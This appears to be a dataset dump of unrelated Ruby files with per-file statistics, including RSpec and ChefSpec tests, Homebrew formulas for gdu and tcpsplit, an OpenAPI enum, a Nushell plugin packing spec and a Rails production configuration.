fields += [:recurring, :recurring_interval, :recurring_length]
end
fields
end
private
attr_reader :procurement
def default
[
:additional_info,
:cost_per_unit,
:date_requested,
:justification,
:link_to_product,
:office,
:product_name_and_description,
:purchase_type,
:quantity,
:urgency,
]
end
end
end
| 17.027027 | 70 | 0.588889 |
1a0f73ef9405b36846de35bb225261c2a5587693 | 50 | module ActiveadminAddons
VERSION = "0.12.0"
end
| 12.5 | 24 | 0.74 |
1cf1bc31c92f8682c7a986486830a80d2e759f1f | 1,462 | require 'rails_helper'
describe UpdateClosureService do
describe '#call' do
let(:date_received) { 7.business_days.ago.to_date }
let(:new_date_responded) { 4.business_days.ago.to_date }
let(:team) { find_or_create :team_dacu }
let(:user) { team.users.first }
let(:kase) { create :closed_case, received_date: date_received }
let(:state_machine) { double ConfigurableStateMachine::Machine, update_closure!: true }
before(:each) do
@service = UpdateClosureService.new(kase, user, params)
allow(kase).to receive(:state_machine).and_return(state_machine)
end
context 'when we have different params (i.e user edited data)' do
let(:params) do
{
date_responded_dd: new_date_responded.day.to_s,
date_responded_mm: new_date_responded.month.to_s,
date_responded_yyyy: new_date_responded.year.to_s
}
end
it 'changes the attributes on the case' do
@service.call
expect(kase.date_responded).to eq new_date_responded
end
it 'transitions the cases state' do
expect(state_machine).to receive(:update_closure!)
.with(acting_user: user, acting_team: team)
@service.call
end
it 'sets results to :ok' do
@service.call
expect(@service.result).to eq :ok
end
end
end
end
| 32.488889 | 99 | 0.619699 |
ed7b4fef695d8577e621ab2c26b5372cff4bd345 | 5,683 | require 'nu_plugin/packing'
describe NuPlugin::Packing do
let(:nu_tag) {
{
'tag' => {
'anchor' => '00000000-0000-0000-0000-000000000000',
'span' => {
'start' => 0,
'end' => 3
}
}
}
}
def nu_value(value)
{ 'value' => value }
end
def nu_tagged_value(value)
nu_tag.merge(nu_value(value))
end
def nu_int(integer)
val = (!["latest", "0.33.1", "0.37.1", "legacy"].include?(ENV["NU_VERSION"])) ? { 'Int' => integer.to_s } : { 'Int' => integer }
Hash['Primitive', val]
end
def nu_decimal(decimal)
val = (["latest", "0.33.1", "0.37.1"].include?(ENV["NU_VERSION"])) ? { 'Decimal' => decimal.to_s } : { 'Decimal' => decimal }
Hash['Primitive', val]
end
def nu_string(string)
Hash['Primitive', { 'String' => string }]
end
let(:nu_nothing) {
{ 'Primitive' => 'Nothing' }
}
let(:nu_true) {
val = (["latest", "0.33.1"].include?(ENV["NU_VERSION"])) ? { 'Boolean' => 'true' } : { 'Boolean' => true }
Hash['Primitive', val]
}
let(:nu_false) {
val = (["latest", "0.33.1"].include?(ENV["NU_VERSION"])) ? { 'Boolean' => 'false' } : { 'Boolean' => false }
Hash['Primitive', val]
}
let(:nu_row) {
{
'Row' => {
'entries' => {
'name' => nu_value(nu_string('andres')),
'tarif' => nu_value(nu_int(35))
}
}
}
}
let(:nu_tagged_row) {
{
'Row' => {
'entries' => {
'name' => nu_tagged_value(nu_string('andres')),
'tarif' => nu_tagged_value(nu_int(35))
}
}
}
}
let(:nu_table) {
Hash['Table', [nu_value(nu_row)]]
}
let(:nu_tagged_table) {
Hash['Table', [nu_tagged_value(nu_tagged_row)]]
}
context 'unpacking' do
let(:packer) { NuPlugin::Packing.new }
it 'nothing' do
value = nu_value(nu_nothing)
expect(packer.rubytize(value)).to be_nil
end
it 'dates' do
value = nu_value(nu_string("2020-11-16T00:00:00.000000000+00:00"))
expect(packer.rubytize(value)).to eq('2020-11-16T00:00:00.000000000+00:00')
end
it 'integers' do
value = nu_value(nu_int(35))
expect(packer.rubytize(value)).to eql(35)
end
it 'decimals' do
value = nu_value(nu_decimal(3.15))
expect(packer.rubytize(value)).to eql(3.15)
end
it 'strings' do
value = nu_value(nu_string('andres'))
expect(packer.rubytize(value)).to eql('andres')
end
it 'symbols' do
value = nu_value(nu_string(':andres'))
expect(packer.rubytize(value)).to eql(:andres)
end
it 'tables' do
value = nu_value(nu_table)
expect(packer.rubytize(value)).to include({ name: 'andres', tarif: 35 })
end
it 'rows' do
value = nu_value(nu_row)
expect(packer.rubytize(value)[:name]).to eql('andres')
expect(packer.rubytize(value)[:tarif]).to eql(35)
end
end
context 'packing' do
using NuPlugin::Data
it 'nil objects' do
expect(nil.nuvalize).to eql(nu_nothing)
expect([].nuvalize).to eql(nu_nothing)
end
it 'dates' do
require 'date'
expect(DateTime.new(2020, 11, 16).nuvalize).to eql(nu_string("2020-11-16T00:00:00.000000000+00:00"))
end
it 'booleans' do
expect(true.nuvalize).to eql(nu_true)
expect(false.nuvalize).to eql(nu_false)
end
it 'integers' do
expect(35.nuvalize).to eql(nu_int(35))
expect(-1.nuvalize).to eql(nu_int(-1))
end
it 'decimals' do
decimal = 3.15
expect(decimal.nuvalize).to eql(nu_decimal(3.15))
end
it 'strings' do
expect('andres'.nuvalize).to eql(nu_string('andres'))
end
it 'symbols' do
expect(:andres.nuvalize).to eql(nu_string(':andres'))
expect(':andres'.nuvalize).to eql(nu_string(':andres'))
end
it 'arrays' do
data = [{ name: 'andres', tarif: 35 }]
data.instance_variable_set('@meta', NuPlugin::Packing.tagged(nu_tag))
expect(data.nuvalize).to eql(nu_tagged_table)
end
it 'hashes' do
data = { name: 'andres', tarif: 35 }
data.instance_variable_set('@meta', NuPlugin::Packing.tagged(nu_tag))
expect(data.nuvalize).to eql(nu_tagged_row)
end
end
context 'packing with metadata' do
let(:with_metadata) { NuPlugin::Packing.tagged(nu_tag) }
it 'nil objects' do
expect(with_metadata.nuvalize(nil)).to eql(nu_tagged_value(nu_nothing))
end
it 'dates' do
require 'date'
expect(with_metadata.nuvalize(DateTime.new(2020, 11, 16))).to eql(nu_tagged_value(nu_string("2020-11-16T00:00:00.000000000+00:00")))
end
it 'boolean objects' do
expect(with_metadata.nuvalize(true)).to eql(nu_tagged_value(nu_true))
expect(with_metadata.nuvalize(false)).to eql(nu_tagged_value(nu_false))
end
it 'integers' do
expect(with_metadata.nuvalize(35)).to eql(nu_tagged_value(nu_int(35)))
end
it 'decimals' do
expect(with_metadata.nuvalize(3.15)).to eql(nu_tagged_value(nu_decimal(3.15)))
end
it 'strings' do
expected = nu_tagged_value(nu_string('andres'))
expect(with_metadata.nuvalize('andres')).to eql(expected)
end
it 'symbols' do
expected = nu_tagged_value(nu_string(':andres'))
expect(with_metadata.nuvalize(:andres)).to eql(expected)
end
it 'tables' do
expected = nu_tagged_value(nu_tagged_table)
expect(with_metadata.nuvalize([{ name: 'andres', tarif: 35 }])).to eql(expected)
end
it 'rows' do
expected = nu_tagged_value(nu_tagged_row)
expect(with_metadata.nuvalize({ name: 'andres', tarif: 35 })).to eql(expected)
end
end
end
| 25.484305 | 138 | 0.600915 |
e2460005a1052a3bf60305de0e711059c1734980 | 1,148 | =begin
#CloudReactor API
#CloudReactor API Documentation
The version of the OpenAPI document: 0.3.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.4.0
=end
require 'date'
require 'time'
module CloudReactorAPIClient
class RuleTypeEnum
ALWAYS = "always".freeze
SUCCESS = "success".freeze
FAILURE = "failure".freeze
TIMEOUT = "timeout".freeze
EXIT_CODE = "exit_code".freeze
THRESHOLD = "threshold".freeze
CUSTOM = "custom".freeze
DEFAULT = "default".freeze
# Builds the enum from string
# @param [String] The enum value in the form of the string
# @return [String] The enum value
def self.build_from_hash(value)
new.build_from_hash(value)
end
# Builds the enum from string
# @param [String] The enum value in the form of the string
# @return [String] The enum value
def build_from_hash(value)
constantValues = RuleTypeEnum.constants.select { |c| RuleTypeEnum::const_get(c) == value }
raise "Invalid ENUM value #{value} for class #RuleTypeEnum" if constantValues.empty?
value
end
end
end
| 26.090909 | 96 | 0.702962 |
f884b1fcf98aefc2215104c74247c739ac0f4cd9 | 1,800 | class Gdu < Formula
desc "Disk usage analyzer with console interface written in Go"
homepage "https://github.com/dundee/gdu"
url "https://github.com/dundee/gdu/archive/v5.1.1.tar.gz"
sha256 "fb1a76562947e34fec16fd650f03793ccc5afe04fa6ba817639d92f55a1f927b"
license "MIT"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "4b3a6376a2a2506a371627bc1645afe36dd049a7cd22c552297485ad2867f0ac"
sha256 cellar: :any_skip_relocation, big_sur: "0a3a45756fc7c6cf55c0514d2db1ff50e13a5a253096d914a1325270ba125a67"
sha256 cellar: :any_skip_relocation, catalina: "e702c4c3d87925b5c05df167b491a62fdfff055799260cb74b6ee3876f052f70"
sha256 cellar: :any_skip_relocation, mojave: "ab55faf95a13af48b2c6b319e74fbbd15e328cc230c36c36c85fd9f05a304abc"
end
depends_on "go" => :build
conflicts_with "coreutils", because: "both install `gdu` binaries"
def install
ENV["TZ"] = "UTC"
time = Time.at(ENV["SOURCE_DATE_EPOCH"].to_i)
user = Utils.safe_popen_read("id", "-u", "-n")
major = version.major
ldflags = %W[
-s -w
-X "github.com/dundee/gdu/v#{major}/build.Version=v#{version}"
-X "github.com/dundee/gdu/v#{major}/build.Time=#{time}"
-X "github.com/dundee/gdu/v#{major}/build.User=#{user}"
]
system "go", "build", *std_go_args(ldflags: ldflags.join(" ")), "github.com/dundee/gdu/v#{major}/cmd/gdu"
end
test do
mkdir_p testpath/"test_dir"
(testpath/"test_dir"/"file1").write "hello"
(testpath/"test_dir"/"file2").write "brew"
assert_match version.to_s, shell_output("#{bin}/gdu -v")
assert_match "colorized", shell_output("#{bin}/gdu --help 2>&1")
assert_match "4.0 KiB file1", shell_output("#{bin}/gdu --non-interactive --no-progress #{testpath}/test_dir 2>&1")
end
end
| 40 | 122 | 0.712222 |
28a72dc18af2f141f5a9ad2c0118035fa00f34ad | 843 | require 'spec_helper'
describe 'krb5::kadmin_init' do
context 'on Centos 6.7 x86_64' do
let(:chef_run) do
ChefSpec::SoloRunner.new(platform: 'centos', version: 6.7) do |node|
node.automatic['domain'] = 'example.com'
stub_command('test -e /var/kerberos/krb5kdc/principal').and_return(false)
stub_command("kadmin.local -q 'list_principals' | grep -e ^admin/admin").and_return(false)
end.converge(described_recipe)
end
it 'logs create-krb5-db to info' do
expect(chef_run).to write_log('create-krb5-db').with(level: :info)
end
it 'executes execute[create-krb5-db] block' do
expect(chef_run).to run_execute('create-krb5-db')
end
it 'executes execute[create-admin-principal] block' do
expect(chef_run).to run_execute('create-admin-principal')
end
end
end
| 32.423077 | 98 | 0.682088 |
3994867e10fcd9427a202e51562b3e7050a1c83e | 878 | class Tcpsplit < Formula
desc "Break a packet trace into some number of sub-traces"
homepage "https://www.icir.org/mallman/software/tcpsplit/"
url "https://www.icir.org/mallman/software/tcpsplit/tcpsplit-0.2.tar.gz"
sha256 "885a6609d04eb35f31f1c6f06a0b9afd88776d85dec0caa33a86cef3f3c09d1d"
bottle do
cellar :any_skip_relocation
sha256 "0b603f1737a000ec2452bd3ac48df7c4e04d6cfb15fc48dabca96bd23137f40a" => :high_sierra
sha256 "2e9d12ee609d30075f141527c3804ce78a8c312e5b72ce6eb655ed08521faf45" => :sierra
sha256 "5014edcbc87913b2103c9347dd4b132ca1b4c3b1a007c853eda75213481e7d30" => :el_capitan
sha256 "c87bf331cb20c6301b922ee3fb37f0c92957f3e32d0391b07aa7b36980b20819" => :yosemite
sha256 "ec4011f01c1d8c2f71172956b70b99336aa8ec89372d37c1678caa23d6986f1a" => :mavericks
end
def install
system "make"
bin.install "tcpsplit"
end
end
| 41.809524 | 93 | 0.810934 |
5d5b543fd7c192cf3a220789ed1044bbb3a4cc73 | 5,340 | require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress CSS using a preprocessor.
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Include generic and useful information about system operation, but avoid logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII).
config.log_level = :info
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "guitars_fixed_production"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Log disallowed deprecations.
config.active_support.disallowed_deprecation = :log
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require "syslog/logger"
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
| 44.132231 | 114 | 0.765543 |
6a855701521708c0fa9464053ed0000ca169c9d2 | 1,164 | # -*- ruby -*-
require 'mkmf'
$:.unshift File.dirname(__FILE__)
require 'type'
require 'dlconfig'
def output_arg(x,i)
"args[#{i}].#{DLTYPE[x][:stmem]}"
end
def output_args(types)
t = []
types[1..-1].each_with_index{|x,i| t.push(output_arg(x,i))}
t.join(",")
end
def output_callfunc(types)
t = types[0]
stmem = DLTYPE[t][:stmem]
ctypes = types2ctypes(types)
if( t == VOID )
callstm = "(*f)(#{output_args(types)})"
else
callstm = "ret.#{stmem} = (*f)(#{output_args(types)})"
end
[ "{",
"#{ctypes[0]} (*f)(#{ctypes[1..-1].join(',')}) = func;",
"#{callstm};",
"}"].join(" ")
end
def output_case(types)
num = types2num(types)
callfunc_stm = output_callfunc(types)
<<EOF
case #{num}:
#ifdef DEBUG
printf("#{callfunc_stm}\\n");
#endif
#{callfunc_stm};
break;
EOF
end
def rec_output(types = [VOID])
print output_case(types)
if( types.length <= MAX_ARG )
DLTYPE.keys.sort.each{|t|
if( t != VOID && DLTYPE[t][:sym] )
rec_output(types + [t])
end
}
end
end
DLTYPE.keys.sort.each{|t|
if( DLTYPE[t][:sym] )
$stderr.printf(" #{DLTYPE[t][:ctype]}\n")
rec_output([t])
end
}
| 18.47619 | 61 | 0.582474 |
5d8b2b2cf4dbf3f246cb03481dbfb8ac551cbabb | 179 | module Cerberus
HOME = File.expand_path(ENV['CERBERUS_HOME'] || '~/.cerberus')
CONFIG_FILE = "#{HOME}/config.yml"
LOCK_WAIT = 30 * 60 # 30 minutes
VERSION = '0.8.0'
end
| 19.888889 | 64 | 0.648045 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.